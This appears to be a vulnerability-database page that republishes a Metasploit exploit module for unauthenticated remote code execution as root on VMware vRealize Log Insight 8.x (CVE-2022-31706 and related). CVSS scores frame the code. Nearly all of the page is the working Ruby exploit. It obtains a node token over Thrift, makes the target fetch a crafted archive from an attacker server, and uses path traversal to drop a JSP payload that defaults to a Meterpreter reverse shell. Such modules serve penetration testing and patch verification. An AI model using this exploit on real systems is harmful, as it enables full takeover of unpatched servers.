Lucene search

K
packetstormEge Balci, Horizon3.ai Attack Team, metasploit.comPACKETSTORM:174606
HistorySep 11, 2023 - 12:00 a.m.

VMware vRealize Log Insight Unauthenticated Remote Code Execution

2023-09-1100:00:00
Ege Balci, Horizon3.ai Attack Team, metasploit.com
packetstormsecurity.com
113

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.002 Low

EPSS

Percentile

58.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'rex/proto/thrift'  
require 'rex/stopwatch'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::CmdStager::HTTP  
include Msf::Exploit::Retry  
include Msf::Exploit::FileDropper # includes register_files_for_cleanup  
prepend Msf::Exploit::Remote::AutoCheck  
  
Thrift = Rex::Proto::Thrift  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',  
'Description' => %q{  
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as  
directory traversal, broken access control, deserialization, and information disclosure.  
When chained together, these vulnerabilities allow a remote, unauthenticated attacker to  
execute arbitrary commands on the underlying operating system as the root user.  
  
This module achieves code execution via triggering a `RemotePakDownloadCommand` command  
via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`  
thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the  
specially crafted PAK archive, which then will place the JSP payload under a certain API  
endpoint (pre-authenticated) location upon extraction for gaining remote code execution.  
  
Successfully tested against version 8.0.2.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Horizon3.ai Attack Team', # Original POC & analysis  
'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module  
],  
'References' => [  
['ZDI', '23-116'],  
['ZDI', '23-115'],  
['CVE', '2022-31706'],  
['CVE', '2022-31704'],  
['CVE', '2022-31711'],  
['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],  
],  
'DisclosureDate' => '2023-01-24',  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'VMware vRealize Log Insight < v8.10.2',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 15  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),  
OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]),  
OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]),  
OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])  
]  
)  
end  
  
def check  
print_status "Checking if #{peer} can be exploited."  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),  
'method' => 'GET'  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))  
return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version')  
  
version = Rex::Version.new(translation['version'])  
if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it  
return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")  
end  
  
Exploit::CheckCode::Safe  
end  
  
def generate_malicious_tar  
mf_file = <<~EOF.strip  
{  
"CHECKSUMS": [  
{  
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}  
"FILE_NAME": "eula.txt"  
},#{' '}  
{  
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}  
"FILE_NAME": "cn_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}  
"FILE_NAME": "de_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}  
"FILE_NAME": "es_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}  
"FILE_NAME": "fr_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}  
"FILE_NAME": "ja_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}  
"FILE_NAME": "ko_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}  
"FILE_NAME": "tw_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}  
"FILE_NAME": "upgrade-driver"  
},#{' '}  
{  
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}  
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"  
}  
],#{' '}  
"FROM_VERSION": "8.8.0-0",#{' '}  
"REQUIRED_SPACE": "1073741824",#{' '}  
"RPM_INFO": {  
"KEY_LIST": [],#{' '}  
"REBOOT": "False",#{' '}  
"RPM_LIST": [  
{  
"ARGUMENTS": [  
"--nodeps"  
],#{' '}  
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}  
"OPTION": "INSTALL_OR_UPGRADE"  
}  
]  
},#{' '}  
"TO_VERSION": "8.10.2-21145187"  
}  
EOF  
  
cert_file = <<~CERT  
SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776  
-----BEGIN CERTIFICATE-----  
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV  
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x  
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy  
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD  
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI  
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw  
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb  
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay  
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT  
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw  
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww  
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd  
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs  
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu  
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP  
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69  
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S  
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0  
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G  
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG  
vSqQGIbCybw5KTCXRQ8d  
-----END CERTIFICATE-----  
CERT  
  
# Generate a TAR archive with dir traversal...  
print_status 'Encoding the payload as JSP'  
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)  
jsp_name = 'api-v5-documentation.jsp' # version number can be randomized  
slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"  
register_files_for_cleanup(slip_name.gsub('../..', ''))  
rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size  
dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary  
  
tar = StringIO.new  
Rex::Tar::Writer.new(tar) do |t|  
dummy_files.each do |dum|  
t.add_file(dum, 0o644) do |f|  
f.write(rand_data)  
end  
end  
t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files  
crt.write(cert_file)  
end  
t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|  
mf.write(mf_file)  
end  
t.add_file(slip_name, 0o644) do |f|  
f.write(payload_jsp)  
end  
end  
tar.seek(0)  
data = tar.read  
tar.close  
data  
end  
  
def on_request_uri(cli, _request)  
payload_tar = generate_malicious_tar  
print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"  
print_good("Payload requested by #{peer}, sending...")  
@got_request = true  
send_response(cli, payload_tar)  
end  
  
def exploit  
# This is important check...  
fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/  
  
# Step 1 generate malicious TAR archive  
file_name = Rex::Text.rand_text_alpha(7)  
pak_name = "#{file_name}.pak"  
output_file = '/dev/null'  
register_files_for_cleanup("/tmp/#{pak_name}")  
print_status('Starting Payload Server')  
start_service('Path' => "/#{file_name}.tar")  
  
# Connect to the Apache Thrift service  
@tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT'])  
fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil?  
  
# Step 2 obtain node token  
print_status 'Fetching thrift config...'  
send_request([  
Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL)  
].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00")  
  
config = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil?  
token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s  
fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?  
print_good "Obtained node token: #{token}"  
  
print_status 'Sending getNodeType...'  
send_request([  
Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL)  
].map(&:to_binary_s).join + "\x00")  
  
# Step 3 download the malicious pak  
serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"  
print_status 'Sending RemotePakDownloadCommand...'  
download_pak_req = "\x80\x01\x00\x01"  
download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"  
download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"  
download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"  
download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c"  
download_pak_req += "\x00\x0a\x0b\x00\x01"  
download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02"  
download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address  
download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name  
download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00"  
download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00"  
send_request(download_pak_req)  
download_resp = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil?  
retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do  
@got_request  
end  
  
# Step 4 trigger pak upgrade  
print_status 'Sending PakUpgradeCommand...'  
pak_upgrade_req = "\x80\x01\x00\x01"  
pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"  
pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"  
pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"  
pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c"  
pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N')  
pak_upgrade_req += pak_name + "\x02\x00\x02\x00"  
pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file  
pak_upgrade_req += "\x02\x00\x04\x00"  
pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65"  
pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00"  
pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00"  
pak_upgrade_req += "\x00\x07\xd0\x00\x00"  
send_request(pak_upgrade_req)  
upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted'  
print_good 'PakUpgrade request is successful'  
print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."  
sleep(datastore['WaitForUpgradeDuration'])  
  
# Step 5 trigger the JSP payload.  
print_status "#{peer} - Triggering JSP payload..."  
disconnect  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),  
'method' => 'GET'  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
end  
  
def send_request(request)  
@tsock.put([request.length].pack('N') + request)  
end  
  
def recv_response(timeout)  
remaining = timeout  
res_size, elapsed = Rex::Stopwatch.elapsed_time do  
@tsock.timed_read(4, remaining)  
end  
  
remaining -= elapsed  
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0  
  
res = @tsock.timed_read(res_size.unpack1('N'), remaining)  
  
return nil if res.nil? || res.length != res_size.unpack1('N')  
  
return res_size + res  
rescue Timeout::Error  
return nil  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.002 Low

EPSS

Percentile

58.6%